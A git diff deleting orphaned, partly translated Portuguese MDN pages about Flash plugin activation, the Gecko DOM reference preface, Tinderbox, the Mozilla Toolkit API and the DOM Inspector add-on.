-<p><img alt="" src="https://mdn.mozillademos.org/files/15145/Chrome-info-icon.png" style="height: 544px; width: 399px;"></p>
-
-<h3 id="Microsoft_Edge">Microsoft Edge</h3>
-
-<p>In-page UI is displayed when the site attempts to use Flash. An icon also appears on the right side of the location bar. The user can click the Flash object to show activation options:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15135/Edge-flash-inpage.png" style="height: 227px; width: 611px;"></p>
-
-<p>Users have the choice to allow Flash just for the current session, or to remember their choice:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/15139/Edge-flash-inpage.png" style="height: 173px; width: 453px;"></p>
-
-<h2 id="Dicas_de_Elaboração_do_Site">Dicas de Elaboração do Site</h2>
-
-<p>If a Flash element is very small, hidden, or covered by other content, users will probably not notice that Flash is required and will become confused. Even if the plugin element will eventually be hidden, pages should create the plugin element so that it's visible on the page, and should resize or hide it only after the user has activated the plugin. This can be done by calling a JavaScript function when the plugin is activated:</p>
-
-<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">pluginCreated</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
- <span class="comment token">// We don't need to see the plugin, so hide it by resizing</span>
- <span class="keyword token">var</span> plugin <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'myPlugin'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
- plugin<span class="punctuation token">.</span>height <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span>
- plugin<span class="punctuation token">.</span>width <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span>
- plugin<span class="punctuation token">.</span><span class="function token">callPluginMethod</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
-<span class="punctuation token">}</span></code></pre>
-
-<p>The HTML, by default, specifies the Flash object to be a size that makes it visible, like this:</p>
-
-<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="comment token">&lt;!-- Give the plugin an initial size so it is visible --&gt;</span>
-<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>object</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>application/x-shockwave-flash<span class="punctuation token">"</span></span> <span class="attr-name token">data</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myapp.swf<span class="punctuation token">"</span></span>
- <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myPlugin<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>300<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>300<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
- <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>param</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>callback<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pluginCreated()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
-<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>object</span><span class="punctuation token">&gt;</span></span></code></pre>
-
-<p>The <code>callback</code> parameter defined in the HTML can be called in Flash using its <code>flash.external.ExternalInterface</code> API.</p>
-
-<h3 id="Utilizar_um_callback_de_script_para_determinar_quando_um_plug-in_é_ativado">Utilizar um <em>callback</em> de <em>script</em> para determinar quando um plug-in é ativado</h3>
-
-<p>Similarly, a site's script shouldn't attempt to script a plugin immediately upon creation. Instead, the plugin object should call into a JavaScript function upon creation. That function can then issue the call into the plugin, knowing that everything is set up and ready to go.</p>
-
-<p>First, set your up your HTML with a callback that calls the JavaScript function <code>pluginCreated()</code>, like this:</p>
-
-<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>object</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>application/x-my-plugin<span class="punctuation token">"</span></span> <span class="attr-name token">data</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>somedata.mytype<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>myPlugin<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
- <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>param</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>callback<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pluginCreated()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
-<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>object</span><span class="punctuation token">&gt;</span></span></code></pre>
-
-<p>The <code>pluginCreated()</code> function is then responsible for the setup of your script and any calls back into the plugin that you need to make:</p>
-
-<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">pluginCreated</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
- document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'myPlugin'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">callPluginMethod</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
-<span class="punctuation token">}</span></code></pre>
diff --git a/files/pt-pt/orphaned/referência_do_dom_gecko/prefácio/index.html b/files/pt-pt/orphaned/referência_do_dom_gecko/prefácio/index.html
deleted file mode 100644
index 4c0eaea503..0000000000
--- a/files/pt-pt/orphaned/referência_do_dom_gecko/prefácio/index.html
+++ /dev/null
@@ -1,52 +0,0 @@
----
-title: Prefácio
-slug: orphaned/Referência_do_DOM_Gecko/Prefácio
-tags:
- - Referência_do_DOM_Gecko
-original_slug: Referência_do_DOM_Gecko/Prefácio
----
-<p>{{ ApiRef() }}</p>
-<h3 id="Sobre_Esta_Refer.C3.AAncia" name="Sobre_Esta_Refer.C3.AAncia">Sobre Esta Referência</h3>
-<p>Esta seção descreve o próprio guia: a quem se destina, como a informação está representada, e como você pode usar os exemplos desta referência para seu próprio desenvolvimento de DOM.</p>
-<p>Note que este documento está sob desenvolvimento, e atualmente não é uma listagem completa das propriedades e métodos do DOM implementados para o Gecko. No entanto, cada seção individual do documento (por exemplo, o <a href="pt/DOM/document">DOM Document Reference</a>) está completa para o(s) objeto(s) que descreve. Ao passo que as informações de referência para os vários membros das enormes APIs tornam-se disponíveis, elas são integradas neste documento.</p>
-<h3 id="Quem_Deveria_Ler_Este_Guia" name="Quem_Deveria_Ler_Este_Guia">Quem Deveria Ler Este Guia</h3>
-<p>O leitor do <a href="pt/Gecko_DOM_Reference">Gecko DOM Reference</a> é um desenvolvedor web ou um usuário entusiasta que sabe algo sobre como as páginas de internet são construídas. Esta referência evitar fazer presunções sobre a familiaridade do leitor com o DOM, com <a href="pt/XML">XML</a>, com servidores web ou padrões web, e mesmo com <a href="pt/JavaScript">JavaScript</a>, a linguagem na qual o DOM se torna acessível para o leitor. Mas o documento pressupõe familiaridade com <a href="pt/HTML">HTML</a>, com marcações, com a estrutura básica de páginas de internet, com navegadores e com folhas de estilo.</p>
-<p>Aqui está presente o material introdutório, com muitos exemplos, e explicações de alto nível devem ser valiosas tanto para os desenvolvedores web inexperientes quanto para os experientes, e não é apenas um guia de desenvolvimento web para "iniciantes". Em geral, contudo, é um manual de referência da API que está evoluindo.</p>
-<h3 id="O_Que_.C3.89_Gecko.3F" name="O_Que_.C3.89_Gecko.3F">O Que É Gecko?</h3>
-<p>Mozilla, Firefox, Netscape 6+, e outros navegadores baseados no Mozilla tem implementações idênticas do DOM. Isto é porque eles usam a mesma tecnologia.<span class="comment">naturally, it applies only to products based on the same version of Gecko, but it's tricky to explain</span></p>
-<p>Gecko, o componente de software destes navegadores que manipula a análise do HTML, o layout das páginas, o modelo de objeto do documento, e mesmo a renderização da interface da aplicação inteira, é um componente renderizador, rápido, condizente com padrões, que implementa os padrões da W3C e similares (mas não padronizados) para o modelo de objeto de navegador (por exemplo, <a href="pt/DOM/window"><code>window</code></a> et al) no contexto de páginas de internet e interfaces de aplicações, ou
- <i>
- chrome</i>
- , do navegador.</p>
-<p>Embora a interface de aplicação e o conteúdo mostrado na tela pelo navegador são diferentes de várias maneiras possíveis, o DOM os dispõe uniformemente como uma hierarquia de nós. <span class="comment">(commenting this incomplete sentence out for now...) The tree structure of the DOM (which in its application to the user</span></p>
-<h3 id="Sintaxe_da_API" name="Sintaxe_da_API">Sintaxe da API</h3>
-<p>Cada descrição na referência da API inclui a sintaxe, os parâmetros de entrada e saída (onde o tipo de retorno é dado), um exemplo, quaisquer notas adicionais, e um link para a especificação apropriada.</p>
-<p>Tipicamente, propriedades somente para leitura têm uma única linha de sintaxe, porque não é possível atribuir-lhes valor, essas propriedades podem apenas ser acessadas. Por exemplo, a propriedade somente para leitura <code>availHeight</code> do objeto <code>screen</code> tem a seguinte a seguinte informação de sintaxe:</p>
-<div>
- <img alt="Image:Preface2.gif"></div>
-<p>Isto significa que você somente pode usar a propriedade do lado direito da sentença; enquanto com propriedades de leitura e escrita, você pode atribuir um valor à propriedade, como o seguinte exemplo de sintaxe ilustra:</p>
-<div>
- <img alt="Image:Prefacea.gif"></div>
-<p>Em geral, o objeto cujo membro está sendo descrito é dado na sentença sintática por um tipo simples, por exemplo, <code>element</code> para todos os elementos, <code>document</code> para o objeto de documento de nível mais alto, <code>table</code> para o objeto tabela, e assim por diante (veja <a href="pt/Gecko_DOM_Reference/Introduction#Important_Data_Types">Tipos de dados importantes</a> para maiores informações sobre os tipos de dados).</p>
-<h3 id="Usando_os_exemplos" name="Usando_os_exemplos">Usando os exemplos</h3>
-<p>Muitos dos exemplos que se encontram nesta referência são arquivos completos que você pode executar apenas copiando e colando em um novo arquivo e abrindo com o seu navegador. Outros são trechos de código. Você pode executar estes últimos colocando-os dentro de funções de chamada em JavaScript. Por exemplo, o exemplo para a propriedade <a href="pt/DOM/window.document">window.document</a> pode ser testada dentro de uma função como seguinte, que é chamada pelo botão:</p>
-<pre>&lt;html&gt;
-
-&lt;script&gt;
-function testWinDoc() {
-
- doc= window.document;
-
- alert(doc.title);
-
-}
-&lt;/script&gt;
-
-&lt;button onclick="testWinDoc();"&gt;Testar propriedade do document&lt;/button&gt;
-
-&lt;/html&gt;
-</pre>
-<p>Funções e páginas similares podem ser concebidas para todos os membros do objeto que todavia não estão prontos para uso imediato. Veja a introdução da seção <a href="pt/Gecko_DOM_Reference/Introduction#Testing_the_DOM_API">Testando a API do DOM</a> para uma bateria de testes que você pode usar para testar de uma vez uma série de APIs.</p>
-<div class="noinclude">
-  </div>
-<p>{{ languages( { "es": "es/Referencia_DOM_de_Gecko/Prefacio", "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko/Pr\u00e9face", "ja": "ja/Gecko_DOM_Reference/Preface", "ko": "ko/Gecko_DOM_Reference/Preface", "pl": "pl/Dokumentacja_Gecko_DOM/Przedmowa", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003/Preface" } ) }}</p>
diff --git a/files/pt-pt/orphaned/referência_jsdbgapi/index.html b/files/pt-pt/orphaned/referência_jsdbgapi/index.html
deleted file mode 100644
index a84e597969..0000000000
--- a/files/pt-pt/orphaned/referência_jsdbgapi/index.html
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: Referência JSDBGAPI
-slug: orphaned/Referência_JSDBGAPI
-tags:
- - JavaScript
- - Referência_JSDBGAPI
- - SpiderMonkey
- - Todas_as_Categorias
-original_slug: Referência_JSDBGAPI
----
-<p> </p>
-
-<p><a href="pt/Refer%c3%aancia_JSDBGAPI/Lista_Alfab%c3%a9tica">Lista Alfabética</a></p>
-
-<h3 id="Estruturas_de_Dados" name="Estruturas_de_Dados">Estruturas de Dados</h3>
-
-<h3 id="Fun.C3.A7.C3.B5es" name="Fun.C3.A7.C3.B5es">Funções</h3>
-
-<h3 id="Macros" name="Macros">Macros</h3>
-
-<h3 id="Desaprovado" name="Desaprovado">Desaprovado</h3>
-
-<h3 id="Condicionantes_de_pr.C3.A9-processador" name="Condicionantes_de_pr.C3.A9-processador">Condicionantes de pré-processador</h3>
diff --git a/files/pt-pt/orphaned/sobre_o_document_object_model/index.html b/files/pt-pt/orphaned/sobre_o_document_object_model/index.html
deleted file mode 100644
index c5b0ba1417..0000000000
--- a/files/pt-pt/orphaned/sobre_o_document_object_model/index.html
+++ /dev/null
@@ -1,27 +0,0 @@
----
-title: Sobre o Document Object Model
-slug: orphaned/Sobre_o_Document_Object_Model
-tags:
- - DOM
- - Todas_as_Categorias
-original_slug: Sobre_o_Document_Object_Model
----
-<h3 id="O_que_.C3.A9_o_DOM.3F" name="O_que_.C3.A9_o_DOM.3F">O que é o DOM?</h3>
-
-<p>O <a href="pt/DOM">Document Object Model</a> é uma API para documentos <a href="pt/HTML">HTML</a> e <a href="pt/XML">XML</a>. Isto proporciona uma representação estrutural de um documento, habilitando você a modificar seu conteúdo e apresentação visual. Essencialmente, isto conecta páginas web à<em>scripts</em> ou linguagens de programação.</p>
-
-<p>Todas as propriedades, métodos, e eventos disponíveis para o desenvolvimento web para manipulação e criação de páginas web são organizados dentro dos <a href="pt/Gecko_DOM_Reference">objetos</a> (e.g., o documento objeto que representa o documento por si mesmo, a tabela objeto que representa a tabela de elementos HTML, e assim por diante). Estes objetos são acessíveis via linguagens de<em>scripts</em> nos mais recentes navegadores web.</p>
-
-<p>O DOM é normalmente o mais usado em conjunto com o <a href="pt/JavaScript">JavaScript</a>. Que é, o código é escrito em JavaScript, mas usa o DOM para acessar a página web e seus elementos. Entretanto, o DOM foi desenhado para ser independente de qualquer linguagem de programação particular, fazendo a representação estrutural do documento disponível em uma simples, API consistente. Embora nosso foco no JavaScript por todo este site, implementações do DOM podem ser construídas para <a class="external" href="http://www.w3.org/DOM/Bindings">qualquer linguagem</a>.</p>
-
-<p>O <a class="external" href="http://www.w3.org/">World Wide Web Consortium</a> estabelece um <a class="external" href="http://www.w3.org/DOM/">padrão para o DOM</a>, chamado o W3C DOM. Deve, agora que os mais importantes navegadores implementaram isto corretamente, ativar poderosas aplicações multi navegadores.</p>
-
-<h3 id="Por_que_o_suporte_DOM_no_Mozilla_.C3.A9_importante.3F" name="Por_que_o_suporte_DOM_no_Mozilla_.C3.A9_importante.3F">Por que o suporte DOM no Mozilla é importante?</h3>
-
-<p>"HTML Dinâmico" (<a href="pt/DHTML">DHTML</a>) é um termo usado por alguns vendedores para descrever a combinação do HTML, folhas de estilo e<em>scripts</em> que permitem aos documentos serem animados. O Grupo de Trabalho W3C DOM está trabalhando duro para certificar-se da solução de interoperabilidade e linguagem-neutra sejam aceitos (veja também o <a class="external" href="http://www.w3.org/DOM/faq.html">W3C FAQ</a>). Como o Mozilla reivindica o título de "Plataforma de Aplicação Web", suporte para o DOM é uma das características mais requisitadas, e uma necessária se o Mozilla deseja se tornar uma alternativa viável para outros navegadores.</p>
-
-<p>Ainda mais importante é o fato de que a interface de usuário do Mozilla (também Firefox e Thunderbird) é construída usando XUL -- uma linguagem XML de interface de usuário. Então Mozilla usa o DOM para <a href="pt/Dynamically_modifying_XUL-based_user_interface">manipular seu próprio UI</a>.</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/pt-pt/orphaned/tinderbox/index.html b/files/pt-pt/orphaned/tinderbox/index.html
deleted file mode 100644
index 8ad5501c15..0000000000
--- a/files/pt-pt/orphaned/tinderbox/index.html
+++ /dev/null
@@ -1,32 +0,0 @@
----
-title: Tinderbox
-slug: orphaned/Tinderbox
-tags:
- - Desenvolvimento_Mozilla
- - Desenvolvimento_Mozilla:Ferramentas
- - Ferramentas
- - Todas_as_Categorias
-original_slug: Tinderbox
----
-<p> </p>
-
-<p>Tinderbox é uma ferramenta web que os desenvolvedores Mozilla usam para checar se o código CVS corrente compila e passa nos testes funcionais básicos.</p>
-
-<p>Árvores disponíveis:</p>
-
-<ul>
- <li><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=Firefox">Firefox</a></li>
- <li><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=Thunderbird">Thunderbird</a></li>
- <li><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=XULRunner">XULRunner</a></li>
- <li><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=SeaMonkey">SeaMonkey</a></li>
- <li><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=Camino">Camino</a></li>
- <li><a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi">Outras páginas tinderbox</a></li>
-</ul>
-
-<p>Mozilla roda a configuração de computadores ("Tinderboxen") que continuamente constrói o código fonte mais recente; a ferramenta web tinderbox mostra o estado destas construções. Use as tabelas dela para encontrar o estado da fonte da árvore para a plataforma, produto, e galhos de código que você esteja interessado. Se isto for verde, significa que o último teste de código CVS compilado passou nos testes de fumo. Se for vermelho, isto falhou, e sua construção possivelmente falhará também.</p>
-
-<p>A ferramenta web tinderbox reporta os resultados de vários <a class="external" href="http://wiki.mozilla.org/Performance:Tinderbox_Tests">testes de performance (inglês)</a> como Tp ou Txul. Os desenvolvedores Mozilla frequentemente checam estes números para observar o efeito de mudanças de código na performance; uma mudança que é suficiente para diminuir a performance e pode ser descartada.</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/pt-pt/orphaned/toolkit_api/index.html b/files/pt-pt/orphaned/toolkit_api/index.html
deleted file mode 100644
index e89fba77ba..0000000000
--- a/files/pt-pt/orphaned/toolkit_api/index.html
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Toolkit API
-slug: orphaned/Toolkit_API
-original_slug: Toolkit_API
----
-<p>O <b>Mozilla Toolkit</b>, ou em português, a caixa de ferramentas Mozilla, é um conjunto de interfaces de programação (APIs) construídos com base no <a href="pt/Gecko">Gecko</a> que fornece serviços avançados a aplicações XUL. Estes serviços incluem:
-</p><p>Gestão de Perfil;
-Registo Chrome;
-Histórico de Navegação;
-Gestão de Extensões e de Temas;
-Serviço de Actualização de Aplicações;
-Modo de Segurança;
-</p>
diff --git a/files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html b/files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html
deleted file mode 100644
index aada27f24a..0000000000
--- a/files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html
+++ /dev/null
@@ -1,68 +0,0 @@
----
-title: Inspetor de DOM
-slug: orphaned/Tools/Add-ons/DOM_Inspector
-tags:
- - DOM:Ferramentas
- - Desenvolvimento_Web
- - Desenvolvimento_Web:Ferramentas
- - Extensões:Ferramentas
- - Ferramentas
- - PrecisaDeRevisãoTécnica
- - Temas
- - Temas:Ferramentas
- - Todas_as_Categorias
- - XUL:Ferramentas
-translation_of: Tools/Add-ons/DOM_Inspector
-original_slug: DOM_Inspector
----
-<div>{{ToolsSidebar}}</div><p>O <strong>Inspector DOM </strong>(também conhecido como <strong>DOMi</strong>) é uma ferramenta de programação utilizada para inspecionar, navegar, e editar <a href="/en/DOM" title="en/DOM">Document Object Model</a> of documents - usually web pages or <a href="/en/XUL" title="en/XUL">XUL</a> windows. The DOM hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within.</p>
-
-<div class="note">
-<p>This tool is an add-on for XUL-based applications such as Firefox and Thunderbird. If you are looking for the DOM inspector that's built into Firefox, see the documentation for the <a href="/en-US/docs/Tools/Page_Inspector">Page Inspector</a>. </p>
-</div>
-
-<h2 id="Documentation" name="Documentation">Documentação</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/DOM_Inspector/Introduction_to_DOM_Inspector" title="en/DOM_Inspector/Introduction_to_DOM_Inspector">Introduction to DOM Inspector</a></dt>
- <dd>A guided tutorial that will help you get started with DOM Inspector.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en/DOM_Inspector/DOM_Inspector_FAQ" title="en/DOM_Inspector/DOM_Inspector_FAQ">Perguntas Mais Frequentes do Inspetor de DOM</a></dt>
- <dd>Answers to common questions on DOM Inspector.</dd>
-</dl>
-
-<dl>
- <dt><a class="external" href="http://kb.mozillazine.org/DOM_Inspector">Página do Inspetor de Inspector em MozillaZine</a> (EN)</dt>
- <dd>Mais informação sobre o Inspetor de DOM.</dd>
- <dt><a href="http://asurkov.blogspot.com/2013/02/build-dom-inspector.html">Como criar o Inspetor de DOM</a><a href="http://asurkov.blogspot.com/2013/02/build-dom-inspector.html"> </a>(EN)</dt>
- <dd>Blog post on building the DOM Inspector from source.</dd>
-</dl>
-
-<h2 id="Getting_DOM_Inspector" name="Getting_DOM_Inspector">Obter o Inspetor de DOM</h2>
-
-<dl>
- <dt>Firefox &amp; Thunderbird</dt>
- <dd>You may download and install the <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622" title="https://addons.mozilla.org/en-US/firefox/addon/6622">DOM Inspector</a> from the AMO web site. (Thunderbird users browsing AMO in Firefox should save the installation link, or visit the <a class="link-https" href="https://addons.mozilla.org/en-US/thunderbird/addon/6622" title="https://addons.mozilla.org/en-US/thunderbird/addon/6622">DOM Inspector for Thunderbird</a> page.)</dd>
-</dl>
-
-<dl>
- <dt>Thunderbird 2</dt>
- <dd><a class="link-https" href="https://addons.mozilla.org/en-US/thunderbird/addon/1806">DOM Inspector for Thunderbird 2</a> is available from <a class="link-https" href="https://addons.mozilla.org/en-US/thunderbird/">Thunderbird Add-ons</a>. Or, build Thunderbird yourself with the following options:</dd>
-</dl>
-
-<pre>ac_add_options --enable-extensions="default inspector"
-ac_add_options --enable-inspector-apis
-</pre>
-
-<dl>
- <dt>Mozilla Suite and SeaMonkey</dt>
- <dd>Select Tools &gt; Web Development &gt; DOM Inspector. You can install the Sidebar panel via Edit &gt; Preferences &gt; Advanced &gt; DOM Inspector, then simply open up the inspector panel and visit a website.</dd>
-</dl>
-
-<h2 id="Report_a_bug_in_DOM_Inspector" name="Report_a_bug_in_DOM_Inspector">Comunicar um erro no Inspetor de DOM</h2>
-
-<p>Use the conveniently named <a href="https://bugzilla.mozilla.org/enter_bug.cgi?format=__default__&amp;product=Other%20Applications&amp;component=DOM%20Inspector">"DOM Inspector" component in Bugzilla</a>.</p>
-
-<p>To find out who knows <a href="https://hg.mozilla.org/dom-inspector" title="https://hg.mozilla.org/dom-inspector">DOM Inspector code</a> and where it lives, see the <a class="link-https" href="https://wiki.mozilla.org/Modules/All#DOM_Inspector" title="https://wiki.mozilla.org/Modules/All#DOM_Inspector"><span class="external">DOM Inspector module listing</span></a>.</p>
diff --git a/files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html b/files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html
deleted file mode 100644
index f4104880ec..0000000000
--- a/files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html
+++ /dev/null
@@ -1,93 +0,0 @@
----
-title: Introdução ao Inspetor de DOM
-slug: orphaned/Tools/Add-ons/DOM_Inspector/Introduction_to_DOM_Inspector
-translation_of: Tools/Add-ons/DOM_Inspector/Introduction_to_DOM_Inspector
-original_slug: DOM_Inspector/Introduction_to_DOM_Inspector
----
-<div>{{ToolsSidebar}}</div><p>O 'Inspetor de DOM' é uma extensão da Mozilla que pode aceder no menu <strong>Ferramentas &gt; Desenvolvimento da Web no </strong>SeaMonkey, ou selecionar o item de menu do 'Inspetor de DOM' no menu das 'Ferramentas' no Firefox e Thunderbird, ou utilizar Ctrl/Cmd+Shift+I numa das aplicações. DOM Inspector is standalone; it supports all toolkit applications, and it's possible to embed it in your own XULRunner app. DOM Inspector can serve as a sanity check to verify the state of the <a href="/en/DOM" title="en/DOM">DOM</a>, or it can be used to manipulate the DOM by hand, if desired.</p>
-
-<div class="note"><strong>Note:</strong> Starting with Firefox 3, the DOM Inspector is not included in Firefox by default; instead, you must <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/6622" title="https://addons.mozilla.org/en-US/firefox/addon/6622">download and install it</a> from the Mozilla add-ons web site.</div>
-
-<p>When you first start the DOM Inspector, you are presented with a two-pane application window that looks a little like the main Mozilla browser. Like the browser, the DOM Inspector includes an address bar, and some of the same menus. In SeaMonkey additional global menus will be available.</p>
-
-<p><img alt="domi.png" class="default internal" src="/@api/deki/files/4684/=domi.png"></p>
-
-<h2 id="Inspecionar_um_Documento">Inspecionar um Documento</h2>
-
-<p>When the DOM Inspector opens, it may or may not load an associated document, depending on the host application. If the DOM Inspector doesn't automatically load a document or loads a document other than the one you'd like to inspect, you can select the desired document a few different ways.</p>
-
-<h3 id="File_.3E_Inspect_a_Window_.3E" name="File_.3E_Inspect_a_Window_.3E">Inspecionar Documentos de Conteúdo</h3>
-
-<p>The Inspect Content Document menupopup can be accessed from the File menu, and it will list currently loaded content documents. In Firefox and SeaMonkey browser, these will be the webpages you have opened in tabs. For Thunderbird and SeaMonkey Mail and News, any messages you're viewing will be listed here.<img alt="domi-inspect-content-popup.png" class="default internal" src="/@api/deki/files/4690/=domi-inspect-content-popup.png"></p>
-
-<h3 id="File_.3E_Inspect_a_Window_.3E" name="File_.3E_Inspect_a_Window_.3E">Inspecionar Documentos do Chrome</h3>
-
-<p>The Inspect Chrome Document menupopup can be accessed from the File menu , and it will contain the list of currently loaded chrome windows and subdocuments. A browser window and the DOM Inspector are likely be already open and displayed in this list. The DOM Inspector keeps track of all the windows that are open, so to inspect the DOM of a particular window in the DOM Inspector, simply access that window as you would normally and then choose its title from this dynamically updated menulist.</p>
-
-<p><img alt="domi-inspect-chrome-popup.png" class="default internal" src="/@api/deki/files/4689/=domi-inspect-chrome-popup.png"></p>
-
-<h3 id="File_.3E_Inspect_a_URL..." name="File_.3E_Inspect_a_URL...">Inspecionar URLs arbitrários</h3>
-
-<p>You may also inspect the DOM of arbitrary URLs by using the Inspect a URL menuitem in the File menu, or by just entering a URL into the DOM Inspector's address bar and clicking Inspect or pressing enter. For example, you can enter <a class="external" href="http://www.mozilla.org" rel="freelink">http://www.mozilla.org</a> in the address bar and see the DOM structure of the mozilla.org home page.</p>
-
-<p>You <strong>should not</strong> use this approach to inspect chrome documents. Instead, ensure that the document loads via normal means and use the Inspect Chrome Document menupopup to select it for inspection.</p>
-
-<p><img alt="domi-inspect-chrome-popup.png" class="default internal" src="/@api/deki/files/4693/=domi-inspecting-mozilla.org.png"></p>
-
-<p>When you inspect a web page with this method, a browser pane at the bottom of the DOM Inspector window will open up, displaying the web page. This allows you to use the DOM Inspector without having to use a separate browser window, or without embedding a browser in your application at all. If you find that the browser pane takes up too much space, you may close it, but you will not be able to observe any of the visual consequences of your actions.</p>
-
-<h2 id="Using_the_DOM_Inspector" name="Using_the_DOM_Inspector">Utilizar o Inspetor de DOM</h2>
-
-<p>Once you've opened the document for the page or chrome you are interested in, you'll see that it loads the DOM Nodes viewer in the document pane and the DOM Node viewer in the object pane. In the DOM Nodes viewer, there should be a structured, hierarchical view of the DOM. By clicking around in the document pane, you'll see that the viewers are linked; whenever you select a new node from the DOM Nodes viewer, the DOM Node viewer is automatically updated to reflect the information for that node. Linked viewers are the first major aspect to understand when learning how to use the DOM Inspector.</p>
-
-<h3 id="DOM_Inspector_Information_Types" name="DOM_Inspector_Information_Types">Visualizadores do Inspetor de DOM</h3>
-
-<p>Note that these viewers are just two viewers that the DOM Inspector provides. It's possible to use other viewers, but for now we'll stick to describing the DOM Nodes viewer and the DOM Node viewer.</p>
-
-<p>You can use the DOM Nodes viewer in the document pane of the DOM Inspector to find and inspect nodes  you are interested in. One of the biggest and most immediate advantages that this brings to your web and application development is that it makes it possible to <em>find</em> the markup and the nodes in which the interesting parts of a page or a piece of the user interface are defined. One common use of the DOM Inspector is to find the name and location of particular icon being used in the user interface, which is not an easy task otherwise. If you're inspecting a chrome document, as you select nodes in the DOM Nodes viewer, the rendered versions of those nodes are highlighted in the user interface itself. (Note that there are bugs which prevent the flasher from DOM Inspector APIs from working correctly on certain platforms.)</p>
-
-<p>If you inspect the main browser window, for example, and select nodes in the DOM Nodes viewer (other than the elements which have no visible UI as is the case with the endless list of <code>script</code> elements that are loaded into <code>browser.xul</code>), you will see the various parts of the browser interface being highlighted with a blinking red border. You can traverse the structure and go from the topmost parts parts of the DOM tree to lower level nodes, such as the "search-go-button" icon that lets users perform a query using the selected search engine.</p>
-
-<p><img alt="domi-edit-search-onclick.png" class="default internal" src="/@api/deki/files/4686/=domi-edit-search-onclick.png"></p>
-
-<p>Now, once you have selected a node like the "search-go-button" node, you can select any one of several viewers to display information about that node in the object pane of the DOM Inspector application window, all of which are available from the menupopup accessed from the upper left corner of the the object pane.</p>
-
-<p><img alt="domi-object-viewers.png" class="default internal" src="/@api/deki/files/4692/=domi-object-viewers.png"></p>
-
-<p>In order to find out what the actual name of the file is being used to provide the search go icon, you can select the CSS Rules viewer from this menu and see the various selectors and rules that have been applied. The rule that applies the search icon to the element uses a class simple selector and uses a <code>list-style-image</code> property to point to a file in the current theme.</p>
-
-<p>The list of viewers available from the viewer menu gives you some idea about how extensive the DOM Inspector's inspecting capabilities are. The following descriptions provide an overview of what these viewers are about:</p>
-
